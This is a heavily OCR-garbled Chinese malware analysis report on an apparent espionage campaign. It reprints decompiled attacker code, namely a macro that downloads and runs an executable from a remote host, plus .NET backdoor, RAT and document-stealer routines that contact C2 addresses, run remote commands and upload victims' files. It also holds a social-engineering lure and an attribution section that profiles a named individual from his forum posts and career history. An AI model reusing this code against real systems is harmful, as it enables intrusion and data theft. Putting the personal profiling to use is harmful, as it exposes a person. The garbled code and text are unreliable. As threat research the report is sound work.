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[DestinationDirs]
DefaultDestDir = !

[DefaultInstall]
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Sub Autolpen()

Dim xHttp: Set xHttp = CreateObject ("Microsoft. XMLHITE")
Dim b3trm: Set bStrm = Createlbject ("Adodb. Stream™)
xHttp. Open “GETY, “http:ffeclep—cn. org/20ZKSL. exe™, False
xHttp. Send

Dim tmploc

tmploc = Enwiron (“AppDlata”)

tmploc = tmploc + “test. exe”

bStrm. Type = 1

bStrm. Open

bStrm. write xHttp. responszeBody

bStrm. savetofile tmploec, 2

bStrm. Close

Shell (tmploe) r .
End Sub o =
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‘ PROTECTED DOCUMENT ‘L

This document is protected by Microsoft Office and requires human verification.+
fe] Please Enable Editing and Double Click below to prove that you are not a robot.e
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China_Maritime_Power.docx.,

Double Cliek heresto Unleck Document«

‘ CANT? VIEW FOLLOW THE STEPS BELOW ‘

1. Open the document in Microsoft Office. Previewing online does not work for the

protected documents.+
) =
2. If you download this document from your email, Please click “Enable Editing” Eﬁnﬁtﬁbg E

yellow bar above.+
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LT
ED87F21F7C7FFEFACBAB9447FD7B8471
512 KB (524,490 =75)
BinExecute/Microsoft. EXE[:X86]
20175F10826H, 14:07:02
ro
hnzs<8 7
RFES Microsoft Visual C# / Basic .NET
HEGR =)

VIGE AR 8 S 4344, JE 3 Timerl Al Timerd, f#5HIATH SR E. 530 Timerl M Timer2 J5, #H17
HAt = I A A

private void UDisk_Load(cbject sender, EventArgs e)

1

this.waitforme();
this.Timerl.set Enabled(true);
this .T:i.merx'l.set_Enabled{tr‘uga}-ig =

=43

2-21 BEj Timerl # Timer4

this.upd;te_détails = new str"ir;g[]

1
"RXDEYUI",
"78600",
"FuckYou",
"289.58.163.44"
b

this.flag = false;
this.InitializeComponent( )y gX
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Timerd WS- R At Sy ey
Timer1 4347
1. Timerl_Tick XM RRE L HE—A G G4, KIEMZIER, RBEREEINA RS2,
AR, RSBV AEL AES &5 EaTH I 4 CEHIY “FuckYou™.
WebClient webClient = new WebClient () ;
string text = webClient.DownloadString/
"http://" + this.update details[3]
+ "/php/updatecheck.php?client="

+ this.AES Encrypt (MyProject.User.get Name () . __
this.update details[Z])) o SR

2-23 EfEERHERTIERS

public string AES_Encrypt(string input, string pass)
i
RijndaelManaged rijndaelManaged = new RijndaelManaged();
MD5CryptoServiceProvider mDSCryptoServiceProvider = new MDSCryptoServiceProvider();
string result;
try
{
byte[] array = new byte[32];
byte[] array2 = mD5CryptoServiceProvider.ComputeHash(Encoding.get ASCII().GetBytes(pass));
Array.Copy(array2, @, array, @, 16);
Array.Copy(array2, @, array, 15, 16);
rijndaelManaged.set_Key(array);
rijndaclManaged.set_Mode(2);
ICryptoTransform cryptoTransfoerm = rijndaelManaged.CreateEncryptor();
byte[] bytes = Encoding.get_Unicode().GetBytes(input);
string text = Convert.ToBase64String(cryptoTransform.TransformFinalBlock(bytes, @, bytes.Length}));
result = text;
catch (Exception expr_85)
i
ProjectData. SetProjectErr‘or‘(expr‘_SS),;__
ProjectData.ClearProjectError(); p=t
g ! VLB R
return result;
L

2-24 AES I#F &

2. HERMmE RIS “cme-update” B, K2 cmd.exe HHATIERH A 1T base64 fN%E

(“cme-update|” S5, IMEHATIF RIS RIHEAT AES INEAE RS .
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F (text.Contains(“cme-update™))

{
Web(lient webClient2 = new NebClient();
Process process = new Process();
string[] srray = text.Split(mew char(]

138
process.get Startinfo().set _FlleMame("c:\ \windows \\tysten32\\cad.exe");
process.get_StartInfo().set_UseShollExecute(falee);
process, get_StartInfo().set_CreateNoMindow|true);
process,get_Startinfo().set RedirectStandardinput{toue);
process,get_Startinfo().set RedirectStondardOutput(true);
process,get_Startinfo().set_RedirectStanderdtrror{true);
process.Start();
Streonkiriter standardInput = process.get StanderdInput())
Streasfeader standardlutput « process.get StandardOutput();
StreasReader standardError = grocess.get StandardErcor()) -
_standardInput.set AutoFlush(true); llﬁﬁ‘:\:
standardInput.Write(Encoding. get UTFR().GetString(Convert. FrosBasetaString(arcayil])) + Environsent.get Newtine());
“standardTrput. Write{ Texit™ + 'Fn'%IFéhiiﬁi'.'gi’f_'ﬁiﬂ'lﬁb?)}‘,?"}?"3-"-; '“f'"""""' = =
itring textl = standecdOutput ReadTofnd(); W
if (lprocess.get MasExited())
{

process. Kill();

2225 PUTIRBL ENHS
3. MiERMmRBI RS “dv” I, ST S, PEITAERES AP A% . Bt
PG RO IR 4%

string[] logicalDriwves = Directory.GetlLogicalDrives();
string texts = "";
for (int i = logicalDrives.Length; i > @; i--)

1

i
string texté = this.AES Encrypt(textS, th:i.s.update_details[z]j:;ﬁf

texts = texts + logicalDrives[i - 1].ToString() + "&";

2-26 BABESHIHER — A FHF 5

this.PHP ("http://" + this.update details[3]
+ "/php/component update.php”,
"POST"™,
"component=" + this.AES Encrypt (MyProject.User ‘.ﬂgit_Name (),
this.update details[2]) + "&check=" + text6); ok = &

2-27 [{INE E R E S BRI 52

4. BRI RS ‘o’ B, RAE MRS SRR Crl” SRR, XTIEAR TR
Ji, RBRAR T I SRR AL ST AL I Ja AR 20 ik 55 4% -

IEnumerator<string>» enumerator = MyProject.Computer
.get FileSystem() .GetDirectories (Encoding.get UTFE ()
.GetString (Convert.FromBase€4String (array2[1]))) .GetEnumerator () ;
while (enumerator.MoveNext())
{
string current = enumerator. get_Current();
textd = textd + current.ToString() + "&"s° =%

e

2-28 FRERXX R &
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IEnumerator<string> enumerator? = MyProject.Computer
.get_FileSystem() .GetFiles (Encoding.get_UTFE ()
.GetString (Convert.FromBase64String (array2[1]))) .GetEnumerator () ;
while (enumerator?.MoveNext())
{
string current® = enumeratorl.get Current();
text8 = textB8 + currentl2.ToString() + "&b ;__wﬁi

2-29 FKENSC &

string text9 = Conversions.ToString(this.PHP("http://" + this.update details[3]
+ "/php/componentupdate.php”, "POST", "component="
+ this.AES Encrypt (MyProject.User.get_ Name (),
this.update details[2]) + "&check="
+ this.AES Encrypt (text8, this.update details[2]1) )3 :T.- ﬁ E
WebClient webClientS = new WebClient () : )

230 WSTHRE . SRS EIRSE
5. RIS “ue” B, HURHHE (“uel” IRIOMEE) A AATHATSCH I LA 4 (7

NP v sy =]
BT IR -

int num = 8,
ol flag = fales;

strlng testll = this. GeneratefandonString(ref naw, rof Tlag))

MWyProject. Conputer. pet_Metwork( ) .Desnloads ile(Bncoding. pet_UTFS() GatString|Commrt. FromflaseGaString(arrayd[1])), MyProject.Computar. pet FilaSystem|).pet Spo

ey
ProcessStartinfo processtiartinfo = new ProcesaStertinfol);
ProcessStartinfo processStactintol « processStartinto;
processStactinfol. set §ileMame(MyProject .Compoter get FileSysten( ). get SpeclalDirectories(). get CorrentiserApplicationatal) « 1 _"(t.n_‘_._-.:x 4 "o )y
processStartinfol. . set_UseShellfnecute(troe);
Process process? = new Process();
processl, set_StartinfoiprocessStertinto))
processl.Stert( )

e

2-31 FHEHMITCH

public string GenerateRandomString(ref int len, ref bool upper)

{
Random random = new Random();
char[] array = "abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLOMNOPQRSTUVIWXYZ@123456789" . ToCharArray () ;
string text = string.Empty;
int arg_lE_@ = @;
1
int num = len - 1;
for (int i = arg 1E_@; i <= num; i++)
{
text += Conversions.ToString(array[random.Next(array.Length - 1)]);
3
return Conversions.ToString(Interaction.IIf{upper, text.ToUpper(), text)]; fﬁi
s
1
}

2-32 B SR

Timerd 73
Timer4 ) = EThEEE FIW 29057 H P 0 “ApplicationData” SCHFJ T &5 A/F1E “taskhost.exe”, 5 ANAF

£, MREAT T HIFHEAT.

OZXIRINFTE, WDTHREEH #16]
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L (I Project . Computer_ get Fllebyetomt ). Filefadata{m@oaiect Conputer. gt §ileSyntom| ) . got_Specialbirwctorian( ) get CorventtserApgiicotionDutal) ¢ “teabhoet we™))
(
MyProfect. Compater . gat_Metwork] ) Oowsloedh 1ol Nttas (500, 48,250, A0tpldamdand ipdateltaskians pon™, WProjecs Cosputer. gt FlleSyntom(] . get Specialbirectorles() gat_Correntiie
’

(
Procensdtartinfe precessStertinfs « now ProcessStertinded ||

Frocesastartints processbtactinfal o procescitartlnts;

processsty Fa2. 301_¥ Llchame (myPr reject r-.n et _rileSnten ) get_SpecinlDicectortesl ) get_Curcestisecipplicot lonbats( » ot )
procesatite 0ot LnarihalLlluncut ol tri)

processStartinfad. set_fepmonts(Agpld catim, grt_tazcatablepath| )

Froceas process « rew Procees()

precess, set_StartInfuprocessstertivel)
precest Starel)
return;

oteh (Bxception expr_L2)
A
FryjectDets, Sethrajecttrror{egr (2); H E
POOJECTONTS. Ehpar Py adecThova () e

return;

2-33 THHABITRRB R

Timer2 4
Timer1 Fl Timer4 Ji )5, =W EAE 2 A5 F Timer2 Al Timer3, Timer2 i) £ EIFe N BAEHE
FLEYETH P E B RAE S

string text = web[lient.Dounlaadstrihé{string,Concat{new string[]

"http://”,

this.update_details[3],

"/php/live.php?license=",

this.AES Encrypt(MyProject.User.get Name(), this.update_details[2]},

"&current_license=",

this.AES_Encrypt(MyProject.Computer.get_Info().get_O0SFullName(), this.update_details[2])},

"&bui=", e
this.update_details[1] A= § S

A 2-34 LEAPHENER

Timer3 7347
Timer3 ) EEDhRERIZFE F 4~ “WinUpdate.exe” HIFEFIFIEAT.

if (IyProject.Computer. FileSysten, Filetxists (MyProject  Corputer. PileSysten. SpecialDirectories. CurremtUserapplicationDeta + “\\MinUpdate.ex=”))
{
MyPreject . Computer  Network Downloadf ile{"heep: /7179 48.251 .4/chp/downlond uodate/win exe®, Mybroject. Computer fileSystem. Specinlbirectorfon,
try
{

ProcessStactinfo procensStertinfo = oew ProcessSturtinfo();

ProcessStartInfo processStartinfo? « processStartInfo;

processStastinfol.Filehaes = MyProject. Computer . FileSystem Speclaldirectories. CurrentiierAgnlicationData « "\\inupdete. exa™;
processStartInfol.Useshelltxecute = true;

new Process

Startinfo » processStarting P
}-Start(); £ vnrni
return;

2-35 TEHMIT “WinUpdate.exe”
2322 &LIEEET]
ZEMEA N Net #2777, FEARF KERILYIRE, (FH 1 xClient FEFEM L E (1% FEAE Github A £
W, FSRSZPLZFESEHIEAM) A Protobuf J& (AT 20 SRSZBUCHER FEL. AR RE 6 & 1320

o ZMASE BRI R R EITILE B3, WP, G 1P kR AT i SE BRI B b LRI
ARGEE, RS E. FEARREWTER:

OZXIRINFTE, WDTHREEH E17T]A
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2.

R
MD5
SIEERSRE
R
g
Rk

HFER
hnss<8
RFES

VT EiR LERIE
VT 1SUEER
REAW
FIELER

98¢3a98{d9d553449022a1f41e8af2b4
X86-32

246 KB (251,904 ZF75)
BinExecute/Microsoft. EXE[: X86]
2017810829, 19:00:45

Z
EHO

Microsoft Visual C# / Basic .NET
2017-04-14 09:22:46

39/61

Trojan/Win32.TSGeneric

&7

Wl AR B A R F IR

BRNSRE—REPILX KRR RTIMERETE

6¢be97de83b48739e1eb28c60cd8af62c903f0d23a2ab38801c1a346fd002461

B El-eEERr Rl REEeY
o8 ix-EOBS0ESIE B0 BISED
& 0@ Su2lEE > B o S0E  BHOE
% ODgEsEE I OuSEERZE.00E

% EUEYEE SRR NETE RN 0E
% EOTElEFpRIEI0E 2HE4HE0
& SRS L VBN RS B O
% SEHSREY o EERNISTENe

s BIEMEESIBIEN IR EEIBEIR
& EaE0ESE -0 EEEmR0

% DEEEYEERELHE0ROIEY 35
% QHEET eI SIS aEizIERNY
Y BRS Y E0E0E DE SO

% HIE. H EDu-IBISI000E E=
B RS EERIETReE e TES
s ERSIEENREIOE & Mo ELEE0JRRE Tt

b5 EE

F o EE R

{} [ProtoBuf

{} | ProtoBuf.Meta

{} | ProtoBuf.Serializers
{} |xClient.Core

{} [xClient.Core.Compression 2
{} |xClient.Core.Elevation

{} |xClient.Core.Packets

{} |xClient.Core.Packets.ClientPackets
{} |xClient.Core.Packets.ServerPackets

|FENSEEE &%k

2-36 RENRBREIFEE
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]
1 (1FRAENGERONoRB N T o SPERMA T PES Y QB H AR || SystesCore.MyPath == SystesCore.InstallFath)
(

i (1Systamtore. Croatemutex(cef 1% WABSINESNE CoW RN . B3I 07 &N NEm-a LR YN))
¢ SystesCore.Dizconnect = truej
30’ {Systemlore , Disconnect)

return;

)
new Theead(new TheeadStart(SystesCore User [dlaThrend)) Startl);

o UERER R R SRt RISE. WIS 9N dseSRe())

return;
)
else
( 5
1§ (ISystemCore. CreateMutex(rel i SuiDe( S 0o M. 507 o} oMinms-c LolbFEEM 1))
{
Systesore. . Disconnect = trie; ey iﬂ_-!'..__._.
} W e i
14 (SystesCore.Disconmect)
return;
}
SystesCore.Instoll();
return;
}
& 2-37 ERHCURERE
[
3. KA HEARELR, O E, RAEELBE.
HttphebRequest NttpMebRequest « (Httpuebd LA (Create(“nttpz: //frnegaoin, net/wsl/ )}
nttpaebRequest . Userdgent « “Vuzilla/5. @ umm-r' NT 6.3] rvi26.0) Geckn/20189181 Firefon/36.0%;
MttpaebRequest Proxy « mell;
mttphebRequest ., Tiseout ~ 5009;
waing (MttpuehResponse htiphlebResponse « (WttphebEe sponse JhttpherRequest, GetResgonse! ) )
{
wsing (Stream responseStrean = httphetRnsponse, GetResgonsaStremn( ) )
{
wsing (5t der st - new Str {renpx trwax) )
string xel » strwmfivader.Rendiofnd|);
Xeldccument xellocument = sew AnlDocument();
xmllccument . Loadal (xel);
this . weslp = xxlfocusest Selectsinglefiode( “Response//(P"). Immerinl ; |" 1] # —

this.Comtry = ({lateing. JshullOrtspty(xelbocusent . SeloctsingleMode( “Responte/ /Countrytiane ). Innerkel)) 7 nmx-u‘! s-‘ﬂ'{
this. ComntryCode = ({liteing. IshullOrtepty (xalDocusent SelectSingleMode( “Response//CountryCode™) Innerial) ) 7 selDocument SelectSingleth
this Reglon = ((!xv.vu-g.lmlwm(y(nlm:n-nt.schuﬂngl:ﬁade( Response/ Megleniame”)  Innerdal)) 7 xmlDocusent.SelectSinglehode( "0
this. City = ({1string. TsmullOrEnpty{xoallocusent . SeloctSinglenode( "Response//City") . InnerXal)) 7 snlDocusent . SelectSinglemode("Response/

& 2-38 1R1E 1P FREUHITE M HE

"Processor (CPU}",

SystemCore.GetCpu(),

"Memory (RAM}",

string.Format("{@} MB", SystemCore.GetRam()),
"Wideo Card (GPU}",

systemCore.GetGpu(),

"Username"”,

SystemCore.GetUsername(},

"PC Mame",

SystemCore.GetPcName(),

"Uptime",

SystemCore.GetUptime(),

"MaC Address"™,

systemCore.GetMacAddress(),

"LAN IP Address™,

SystemCore.GetLanIp(),

"WaN IP Address”,

SystemCore.Wanlp,

"Antivirus",

SystemCore.GetAntivirus(),

"Firewall”, fﬁﬁf—h
SystemCore.GetFirewall() OL2X

B 2-39 FRALGIFEARER
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try

g (Reglistrytey reglstrytey = Registry, LotalMachine OperSatkey [ " Sofumare \MICrasof T \iadows  Surreatyers Lon\ \Run™, (ree))

if (reglateyrey 1= mull)
(

regiatryvey. Oeletebalue RSN Mo PR =200 JIt: SmEStRmila EF 2 OEENE, trw);
registryday. Cloeel );
1
)
. Bote e
|
wtch

wsing (Regietryfey regiviryfayd » Reglstry. Currestiiies. Opentetiiey | “Saftare | Wicrscafs| \dlagows | \CurrertVarsion | \Run®, triw))

IF [registrydeyd 's mill)
f

regiatryXey2 Delrtevalie ( 2RNIERKSROMOBPraB Ji, Sl Eiteifint EW - % 008D, 1rue))
regiat ykey2. Close();

)
pete IL SR
)

axing (Registrydey registrydey? = Segistry.CurrentUser.OpenSubiiey! “Sof tuare\ \Microsof t\ \Windows L CurrmmtVersian\ \Bun®, tran))

Af (reglstryleg) [s null)
{

repistryvey? Deleteunluc GRS O M ¢ M UG S R OOV, 1) ) #‘*ﬁ x
G o

reglstrysers Closel))
1

B 2-40 @ EFHEZ

5. AZMINEREL Hoh AR AES I 5%,

bytel3 wrey « Encadlng UTFE Aetiyteet lepst);
Ctring reculty
ry
4
W] ] bey
WALAY (MENET b v Lo Taalder MM PP v i e« e DAL e CoPralabee | | |
(
oy * BEYCrpototerv A radrsider  Conpet whaih Ereagiag UTP. Gettytes (W] |

Myte]] lmrrey,
Wring (MemaryItrsem memcry3tocam « rev MeearyBirewed ))

f
Gilig (AP Diraged rLichelimsaged « e K1 Jades g ) )
1
rijedneiieroges fep « hey;

rijwduniienegee. ConeratelV] 11
Bytal] v = ridjadasbranegead. Iy,

L R - - rypt yitress, #l g yrer (), Loy

sesoryttreen arite(ly, 6, Ir Lewgtn|;
Srppteiacean w lia(avay . &, aroey Langta )
COPTOVToran b beawr [l Blead ()1

]

Y
result * Comwprt, Tofuoetddbr tng| inierey ) )

B 2-41 MFRH

g '\I #ﬁ-.—-—-
1nirrey = semeryGrrose. Mervayd 1) C.'f-' warr H E

& E * BANSRB—RE MR KFERIRTIMEB T

6. MRIEEIIRBAR, AT ARGL, WHFERIFPAT. e, HFRERMSE . WIHERSE 5

EEVDE

Type Type = packet. GetType!);
iF (type == typenf (IndtializeCommand) |

BARICT ARAUEE N LS00 710 28R U ETEATRIE BOWT ((Tnltial trelommand jpacket, ¢1lent);

returng

1F (type == typeot (DownlosdindExecute ) )

EUNVET SRNAT D ST R0oR. UAREE R ¢ By MISMEE Te( (Comlsatinttecuts jpackat, cllant);

returnj

if (type == vypent (UplosdindPascets))

HUNFEN FRNCR TP renth. F Fill e MW Tar Ry S (tplosdindtxecute Jpackst, client);

return;
if [type == typewt(Disconeect))

BEAUET SRNENE N U3ou. Fain i s oL NE - 2RaRN )
SystesCore.Dizscomnect = Srw;

client Dlsconaect ()1

retusng

i [type o= Typent (Recomect))

EEAEER SRR E S Ugner. Bulimis In e WL WS ER ()
et Blscomect | )

return;
1
37 (tyse == typeof(ininstsll))
{

PENUEN SRV V0N NUE | BrU T aNREHU RS | ((untmtall jpackat, cll(tﬂ:

return}

1Y (typm == typent(Desktoz))

& 2-42 RINEHIES
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2323 XRYGTEUEA

ZRPEARIZITE, SRMAGTRPTA M HE, X docx. doc. ppt. pptx. pps. xls. xlsx. pdfiX
JURRE BRI SO 24T AES N, FETH5 SR Hash, & 10 BRI 5 18 SR 44 2 SCAF Hash 1 924K
fEIEBHNEDY 179.48.251.4 (MRS & Lo BIMERRI )G, 2RI R KOs, IR A& 2R
— G MRS L ONEJR SCEA KO AR Hash RS0 .. FEARRRZELT

MD5 CAS2EBE6763045BE616354B0903 A0EC2
SRR X86-32

R 346 KB (354,304 1)

NEER BinExecute/Microsoft. EXE[:X86]

RS 20175F10H26H, 14:06:55

YFrE= NO

ilIbES 7

RFES Microsoft Visual C# / Basic .NET

AW =Sl 2016-12-15 02:26:10

VT 1&I4ER 40/67

mERMm Trojan/Win32.SGeneric

HIELER MISTHEAS

1 BEREBATE, SMEpraRshasiars, I shas THRIHS, JFX docx. doc. ppt.

pptx+ pps. xlIs. xlsx. pdf JUMSRALR SCAF#EAT ALK, R0 AR 10 S0 N 25715 Hashe

DriveInfo[] drives = DriveInfo.GetDrives{};.

2-43 JFINEHIIES

while (i < drives.Length) JRBENE

Oriveinfo drivelnfo « drives[i];
try
{
this.?1l « Directory.GetDirectories(driveInfo.ToString()); VERINEEDESTHZHRRE
Array.Resizecstring>(ref this.fl, this.fl.length + 1);
this.f1{this.fl.Length - 1] » WyProject.Computer.get FileSystem().get SpecialDirectories().get Desktop(); //FRidll
string[] erray = this, fi; /3R
int § = 8&;
while (] < array.Length)
{

string text = array[il;
try

string[] array2 « this.ext; (iFWENE. doc. docx. ppt¥
int k = &;
while (k < array2.Length)
{
string text2 = array2(k];
try

e

stelngl] #iles = Directory.GetFiles(text, text2, 1); (/RONERETHES BENTHET gk
for {int 1 = 8; 1 < files.Length; Llee) ekt

string textd = files[1];

B 2-44 BHEREREEFRRB N
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if (flag)

{
byte[] arrInput = this.s.ComputeHash(File.ReadAllBytes(text3.ToString())); //#3T kR IHash
this.fl3 = string.Concat(new string[] JIEEE

2-45 {1+ E T Hash
2. N CHEZBHTHHEERE, BEE X ST AES %R, ISR I ) 45 3T BASE64 bl
YERIRIFUE . H )53l Timer, $47 Timer Tick ER%L.

this.fl2 - sfring.[oncat{new.string[j

1
this.fl2,
this.AES _Encrypt(text3.ToString(), "Ccbal™),
ngn
this.ByteArrayToString({arrInput), - .
IF$IF '.“I-'Hf
1

2-46 HHEXH A

public string AES_Encrypt(string input, string pass)

{
RijndaelManaged rijndaelManaged = new RijndaelManaged();
MD5CryptoServiceProvider mDS5CryptoServiceProvider = new MD5CryptoServiceProvider();
string result;
try
{
byte[] array = new byte[32];
byte[] array2 = mD5CryptoServiceProvider.ComputeHash(Encoding.get ASCII().GetBytes(pass));
Array.Copy(array2, @, array, @, 16);
Array.Copy(array2, @, array, 15, 16);
rijndaelManaged.set_Key(array);
rijndaelManaged.set_Mode(2);
ICryptoTransform cryptoTransform = rijndaelManaged.CreateEncryptor();
byte[] bytes = Encoding.get Unicode().GetBytes(input);
string text = Convert.ToBase&4String(cryptoTransform.TransformFinalBlock(bytes, @, bytes.Length));
result = text;
catch (Exception expr_8D)
1
ProjectData.SetProjectError(expr_8D);
ProjectData.ClearProjectError();
¥ .
) return result; __”l_nf

2-47 AES IRE K ¥

this.lines = this.f12.5plit(new char[]

i
b F

this.Len = this.lines.Length;
this.Timerl. set_Enab]ed{tl‘ue.jL;nf

g

2-48 XH-Z AR, HFBRM 1

3. WA, FTRURIUAE 10 #HAAT K timer_Tick B%L, HEEHIWTML 2 MEE)E, LRmITE
41T 7 48 DAUROSCH Hash AR 9S8, WIRST A 3EATIE R, 0 e 55 4% (3% (0] EAT W ) A% ST
.
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2-49 % BBt a]fR

bool isAvailable = MyProject.Computer.get Metwork().get IsAualla{lflp{ﬁE

S e

2-50 R P LEIF 55

string text = this we DownloadString(
“http: //17%. 48, 251, A/php/ Lload_check, phpfussr="
+ Convert. ToBased45tring (Encoding. get UTFE(). GetBytes (MyPro ject. User. got! Name (). Replace{"\\", '-'))) =t‘g,.'ilrm(()

+ “&hsh=" + array[1]); u|rEE
& 2-51 L8 P& K Hash

public string AES Decrypt{string input, string pass)
{

RijndaelManaged rijndaclManaged = new RijndeelManaged();
MOSCryptoServiceProvider siSCryptoServicefrovider = now MDSCryptoServiceProvider();
string result;
try
{
byte[] arroy = new byte[32];
byte[] array? = sDSCryptoServiceProvider. Computeash(Encoding. get ASCIT().GetBytes(pass));
Array.Copy{array2, 0, array, @, 16);
Array.Copy(array2, @, array, 15, 16);
riindaelManaged. set_Key(array);
rijndselManaged, set_Mode(2);
ICryptoTransform cryptoTransfora = rijndaelManaged,CreateDecryptor();
byte[] array3 = Convert.frosBasetaString(input);
string @string = Encoding.get_Unmicode().GetString(cryptoTransfors. TransfornFinal8lock(array3, @, nﬁjﬁﬁoﬁ%}
result = @string; e

catch (Exceprion expr_BD)

ProjectData.SetProjectError(expr_BD);
ProjectDate.ClesrProjectError();

return result;

2-52 AES fREZ ¥

MyProject .Computér.get_ﬁetiiork() .UploadFiie(thi§ .AES_Decrypt(array[8], "Cobal™), string.Concat({new string[]

"http://179.48.251.4/php/up.php?use=",

Conver’t.ToBaseEAStr:i.ng(Encoding.ge‘t_UTFB().GetBytes (MyProject.User.get_Name().Replace("\\", " "}})_:;I'_?String(),
"gfl=", ©
array[@], o
"&hs=",

ar‘r‘ay[l]

B

o

2-53 [EECHFRBZICH hash

4. HTAMERPIFNER, SRS KA AT HRWAES, RlES T eUxH,
SITR# LHT P 408 apex, JFRK LHA Visual Studio 2013, T H AERIARRAE, THAN

fileautoscanner? .

path chusersiapexidocumentsivisual studio 201 2\projects\fileautoscanner2\fileautoscanner2\obj\debug'win telephonic services.pdb

B 2-54 BERBRZFSED
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LRI AR HERWRIRIHE (ARK L ——R AR M TEE) ikl b 2 Bk
fRlE, FEMANEZOR . A5 R C2 R B B K IR S 2 LA AT 1 (2016 S8 v [ TR R 45 22
e S=PML LR
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LR TR 910 NFEASCAF AL PDB 15 2 /4B T 10 2 AR RGIKS, Iz HAEH 17 2 Fb
AFRTF RGBT, Wi RN R d1 2 N4, R T8 TR B TRKEZER .

|z:]=F=4 neeru rana, andrew, Yash, Ita nagar, Naga, crOlnk

Keylogger ($#21C%). download (TZ). Upload (fE). http backup, FTP backup, Usb Propagator
I2RELsE (U #4ZiE). Mail Password Decryptor (HB{FO<SHEE)

DNLDR-no-ip

HangOver 1.2.2, HangOver 1.3.2, HangOver 1.5.3. HangOver 1.5.7, RON 2.0.0 . RON 2.3.3

EFIRS
Tourist 2.4.3, Tourist 2.4.5 . Tourist Uplo 2.3.1, Tron 1.2.1, HTTP Babylon 5.1.1

Dragonball, syscache, ThreadScheduler, FirstBloodA, demoMusic, with icon +shortcut link

HEXEF

Aradhana, Http uploader limited account
GRIIEM IR — B HH R B LG LR, BT LM AIHMER, #1477 EG S, IR —A
10~16 NIk B /N . FHorb 7S A ID 42 cr0lnk + neerurana. andrew. Yash. Ita nagar.

Naga. HUIHCZHIRANB BT -
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252  “cr01nk” (“Vishxxx Shaxxx”)

W MANEW, LR TREITHE “cr0lnk” & —NE R EEONHE WA . 8 i 4
BHATIEER, RAKIT “or0lnk” M—EEE, BEERENT:

2009 % 10 A 27 H, A NfE www.null.co.in Kl “ TSR U HIEE R ", 7T REEAE 2 [H T 4K — LR 2%
TARENA, R, “cr0lnk zer0” [BIMG Rl WM 7 I 5 A G N ATV IE .
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B AN 10
Odwar recipsends: owam-t oty anawg o

Waw o reguier 777

B Nava Pai

R [nalf] Re: Saprch for indin's Barst Evcal Macker 20081

On 1527705, oBing 2o « PITARE AT WTORSY
* How 1o Teguier 777
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My SQgmt,
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E B R F IR Google Fajel 1 #87> A, 4R AR I HoAth 75 sQoM# i 17 2 BE A -t Sk«

ID: cr0lnk, HBFE: crOlnk@xxail.com.
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@ Ven o sha
n Thu, Apr 29,2010 at 11:28 PM, B zer0 <er01nk@g -uil.com> wrote am e
Nghty 1ex

Punist fyou don' like this blog
hnp nullrom 201!!04 ’9 pra-.mg-Just-m-tunew

| hope u like it and leave some comments on what |l was wrong about
| Son't know

B 2-59 “cr0lnk” FJESCEZF
X “cr0lnk” HEFEA AERS, AP “cr0lnk” MIHEFR (%) N “Vishxxx Shaxxx”, ¥HiXA~4
MRBATR RS, 2R TR — N EREE A4 .
2 R AR SR AN AE B X “or0Ink™ HEAT TR NAZHE, RIVUENIEFEM T OpenRCE, X2 —4
Wi TREEARRE, wisdh Sonthit E 5 v E .

_ SR

2-60 “cr01nk” ;¥M}T OpenRCE

MULERE AT A “or0lnk” FIRAR AR RE, POOTHRNLM S 2 iR At @i 2-61
e N ERE, ARG —ERHARL .

Understanding Find Tag shellcode

froo: CEOIAR zer0 <crOink () il com
Pate: Mon, 23 Nov 2009 02:02:00 ~0500
i

Could srpbedy help se in wnderrtandieg find tag clasx of Sellcodes,

How to find the 4 bote coomaction t3¢ (1 think that firzt 119 bote swllcice
12 plemetisg & cmtwet ton tag) w=d
how to plesest 1t in » Belicode tarting cooe

Sinclude (oudioh>
Bnchude (srang.

* windows/wpenec/T sad_tag 119 bytas Griage 1)
dazt. cum

o DG, n.,nm-u-w.
¢ FEXECe ‘wandows \syztesidiesle, exe
v

s (md X zdl]
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e T o A o o 00" e B o 60 o B 95 e D e e 5
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2-61 “cr0ink” MRERAREI—LiFiL

LA Hr S an b NvAEM T Nullecon, %2R TFEITHE— 207 Nullcon 2R HIT1E N AF KB, AhfE 2011
£ NULLCON GOA AL — AN TR MR s E,  F98s 7 — A PDF #% IR IA 511
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Fuzzing with complexities

nju e 1101 IBSEC 1 HWIC DI E LE1 e

2-62 “cr01nk” RN BRI
B2 R TR NS A “Vishxxx Shaxxx”, Hid#E— 0 IR IRATZE, EALZ vl -
RN — 2615 B
®  “cr0lnk” HRMAEE:
v ID: crOlnk, E5Z#E44: Vishxxx Shaxxx
v’ 2009 ML TR AR E ) AN BT, A HUHR T McAfee. Security Brigade. [ ZX4) 2
S5 % . CareerNet, HAETBLERT H S BISZHIA R Syryodya, — AN ANKBHREAT V42 A2 B 40 fF
R IT H 58 A7 o
v T H : Fuzzing with complexities. Intelligent debugging and in memory fuzzing. Failure of
DEP and ASLR, ACM-IIT Delhi and Null Delhi meet. Spraying Just in time
v KU HEN 2. BEAREST. BiENK, C/Python/Linux JFK, HAhZ 5%
£
Horp Syryodya ARG T 2014 45, FEEMNFRPHRE A HE . Al A RRIRIZE S8, HEMAHIRS,

AT L https:/www.suryodya.com.

2-63 “cr01nk” BY suryodya £ 5] BRI,

® “cr0lnk” 5REARKIKR:
8 “c0lnk” HF AIIREARG B, HYmikmtah: 2009/11/18.
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“Vishxxx Shaxxx” £/ A FE T FHJE 58 ER, 2009 455 H~2010 4E 6 H BAAfih7E Freelancer (—
AW BT i H, RS —gk0g: N SN A HT L TR R IR S B RR S RE R R
4,

Computer Security Research/Reverse Engineer
Freelancer

209 =5/8-2010=6 5812 1-8)

* Reverse Engineered Trojan and Malware specially crafted to gather information for certain
organization

Secured and idenfiied source of sensitive information leakage in the organization, evaluated the
damage
* Recovered compromised data and further identified all PCs infected with same Malware

- 3 /\EE
Intelligent debugging and in memory fuzzing Failure of DEP and A SLR, ACM-IT Delhi and
=a) MNull Delhi meet

=)
Spraying Just in time
=231
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1. “AR” ALFERFIRG IR HAEE “a0lnk”, MEE “Vishxxx Shaxxx” ML ID, #Ri%
FEA Dy “Vishxxx Shaxxx” JFA (H/MEE A A BZ1 & Dyl ID 58D

2. “Vishxxx Shaxxx” (“cr01nk”) B+ B C Ui AR R 1 G E A

25 ERTIR, R TREIHHEM “Vishxxx Shaxxx” (“crOInk™) AJAELE 2009 4 5 H 2 J5i@id Freelancer 5
“ER” HAESER, GBS ZAL, 3R B RS EAEA GBI .

X iR, RRTREIRAILT “c0lnk” 425, EAE 7 Mok @i E
Mt S SR, ST N W e AR TAEEDT, o LA RS — e HAR b
